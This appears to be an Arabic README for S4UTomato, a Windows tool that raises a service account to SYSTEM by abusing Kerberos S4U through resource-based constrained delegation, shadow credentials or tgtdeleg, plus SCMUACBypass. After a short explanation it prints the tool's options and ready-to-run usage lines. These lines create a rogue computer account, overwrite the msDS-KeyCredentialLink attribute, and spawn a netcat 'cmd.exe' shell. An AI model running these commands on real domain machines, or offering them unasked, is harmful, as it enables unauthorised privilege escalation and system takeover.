
ترقية حساب الخدمة إلى LocalSystem عبر Kerberos
تصعيد حساب الخدمة إلى LocalSystem عبر Kerberos.
الأصدقاء الملمون بسلسلة "Potato" لتصعيد الامتيازات يعرفون أنها تستطيع تصعيد امتيازات حساب الخدمة إلى امتيازات النظام المحلي. تقنيات الاستغلال المبكرة لـ "Potato" متطابقة تقريبًا: الاستفادة من ميزات معينة لواجهات COM، وخداع حساب NT AUTHORITY\SYSTEM للاتصال والمصادقة على خادم RPC يتحكم فيه المهاجم. ثم، عبر سلسلة من استدعاءات API، يتم تنفيذ هجوم وسيط (NTLM Relay) أثناء عملية المصادقة هذه، مما يؤدي إلى إنشاء رمز وصول لحساب NT AUTHORITY\SYSTEM على النظام المحلي. أخيرًا، يتم سرقة هذا الرمز، واستخدام الدالة CreateProcessWithToken() أو CreateProcessAsUser() لتمرير الرمز وإنشاء عملية جديدة للحصول على امتيازات SYSTEM.
في بيئة مجال Windows، يتم استخدام حسابات SYSTEM وNT AUTHORITY\NETWORK SERVICE والحسابات الافتراضية من Microsoft للمصادقة بواسطة حسابات الكمبيوتر النظامية المنضمة إلى المجال. فهم هذا أمر بالغ الأهمية لأنه في الإصدارات الحديثة من Windows، تعمل معظم خدمات Windows بشكل افتراضي باستخدام الحسابات الافتراضية من Microsoft. ومن الجدير بالذكر أن IIS وMSSQL يستخدمان هذه الحسابات الافتراضية، وأعتقد أن التطبيقات الأخرى قد تستخدمها أيضًا. لذلك، يمكننا إساءة استخدام امتداد S4U للحصول على تذكرة الخدمة لحساب مسؤول المجال "Administrator" على الجهاز المحلي. ثم، بمساعدة James Forshaw (@tiraniddo) و SCMUACBypass، يمكننا استخدام تلك التذكرة لإنشاء خدمة نظام والحصول على امتيازات SYSTEM. وهذا يحقق نفس التأثير الذي تحققه الطرق التقليدية المستخدمة في عائلة تقنيات تصعيد الامتيازات "Potato".
في أي سيناريو حيث يكون جهاز منضمًا إلى مجال، يمكنك الاستفادة من التقنيات المذكورة أعلاه لتصعيد الامتيازات المحلية طالما يمكنك تشغيل كود في سياق حساب خدمة Windows أو حساب افتراضي من Microsoft، بشرط ألا يكون Active Directory قد تم تحصينه للدفاع الكامل ضد هذه الهجمات.
قبل ذلك، نحتاج إلى الحصول على TGT (تذكرة منح التذاكر) لحساب الجهاز المحلي. هذا ليس سهلاً بسبب القيود التي تفرضها صلاحيات حساب الخدمة، مما يمنعنا من الحصول على المفتاح طويل الأمد للكمبيوتر وبالتالي عدم القدرة على بناء طلب KRB_AS_REQ. لتحقيق الهدف المذكور، استخدمت ثلاث تقنيات: Resource-based Constrained Delegation و Shadow Credentials و Tgtdeleg. لقد بنيت مشروعي على أساس مجموعة أدوات Rubeus.
C:\Users\whoami\Desktop>S4UTomato.exe --help
S4UTomato 1.0.0-beta
Copyright (c) 2023
-d, --Domain Domain (FQDN) to authenticate to.
-s, --Server Host name of domain controller or LDAP server.
-m, --ComputerName The new computer account to create.
-p, --ComputerPassword The password of the new computer account to be created.
-f, --Force Forcefully update the 'msDS-KeyCredentialLink' attribute of the computer
object.
-c, --Command Program to run.
-v, --Verbose Output verbose debug information.
--help Display this help screen.
--version Display version information.
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

# First retrieve the TGT through Tgtdeleg
S4UTomato.exe tgtdeleg
# Then run SCMUACBypass to obtain SYSTEM privilege
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
